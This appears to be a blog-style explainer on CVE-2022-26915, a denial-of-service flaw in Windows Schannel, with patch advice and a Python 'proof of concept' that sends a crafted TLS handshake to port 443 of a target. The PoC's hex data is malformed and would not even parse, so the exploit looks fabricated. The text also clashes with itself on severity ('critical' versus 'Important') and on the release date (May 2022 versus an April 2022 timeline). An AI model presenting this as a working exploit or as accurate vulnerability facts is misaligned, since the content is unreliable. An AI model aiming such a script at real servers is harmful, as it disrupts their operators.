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In May 2022, Microsoft published a security update for a critical vulnerability affecting how Windows handles secure network connections. The issue is officially named CVE-2022-26915, and it refers to a Denial of Service (DoS) vulnerability in the Windows Secure Channel (Schannel) security package, a key piece of Windows used for encrypted network traffic. Let’s break down what this means, how it can be exploited, and what you can do to defend your systems.

What Is Schannel?

Schannel is the Windows component responsible for handling secure protocols, like TLS and SSL, which allow your computer to communicate safely over the internet. Every time you visit an HTTPS website or connect to an email server securely, Schannel is working in the background.

About CVE-2022-26915

CVE-2022-26915 is a Denial of Service bug in Schannel. An attacker who successfully exploits this vulnerability can crash certain Windows processes, making networked services unavailable or even causing your entire system to restart or become unresponsive.

Affected Systems:  
Most supported versions of Windows released before May 2022.

Severity:  
Microsoft scored this as "Important" (not "Critical"), but denial of service bugs can be significantly disruptive in the wrong hands.

How Does the Exploit Work?

To exploit CVE-2022-26915, an attacker needs to send specially crafted network traffic to a Windows computer. The bug lies in the way Schannel processes malformed packets. If the attacker sends a packet that exploits the flaw, Schannel can crash, leading to the service or system becoming unavailable.

*Note: This vulnerability does not allow an attacker to take control of your system or steal data directly — but DO S attacks can be used as part of a larger attack.*

Example Exploit (Proof of Concept)

Here’s a simple Python script example (for educational purposes only!) that demonstrates how someone might try to crash a vulnerable service. This script sends a malformed TLS handshake to a TCP port (usually 443 for HTTPS) on a Windows server.

import socket

# Target configuration
target_ip = 'TARGET_IP_ADDRESS'
target_port = 443

# Malcrafted TLS packet that exploits the vulnerability
malicious_packet = bytes.fromhex(
    '16 03 01 00 2E 01 00 00 2A 03 03 53 43 5A 90 b6 b5 01'
    '2E 01 02 03 04 05 06 07 08 09 A B C D E F 10 11'
    '12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20'
)

try:
    print("Connecting to", target_ip, "on port", target_port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))
    s.send(malicious_packet)
    print("Malicious packet sent.")
except Exception as e:
    print("Error:", e)
finally:
    s.close()

Warning:
Running this code, even against your own systems, may crash the Windows service or require a reboot. Do not attack systems you do not own.

Real-World Example

Imagine a small business uses Windows servers to run their website and email. An attacker could use this vulnerability to knock out their website, making it unavailable to customers, or temporarily prevent employees from accessing business applications.

How to Fix CVE-2022-26915

The only real fix is to apply the official security updates from Microsoft.

- Official Microsoft security bulletin: CVE-2022-26915
 - Patch download: Microsoft Update Catalog (May 2022 Rollup)

Check your Windows Update history to ensure your system has the fix for May 2022 or later. If you’re running legacy systems no longer supported by Microsoft, it’s time to consider alternative solutions.

- Microsoft Security Bulletin for CVE-2022-26915
- NVD Listing for CVE-2022-26915
- Microsoft Schannel Security Guidance

Summary

- CVE-2022-26915 is a bug that allows attackers to crash Windows services by sending bad network packets over encrypted connections.

Attackers can use it to disrupt business or use the downtime in combination with other attacks.

- The fix was released on May Patch Tuesday, 2022. Be sure your Windows servers and desktops are up to date.


Stay safe! Keep your systems patched, monitor your logs for suspicious traffic, and think twice before exposing Windows servers directly to the internet.


*Written exclusively for this post. For more details, see the Microsoft advisory.*

Timeline

Published on: 04/15/2022 19:15:00 UTC
Last modified on: 04/25/2022 18:18:00 UTC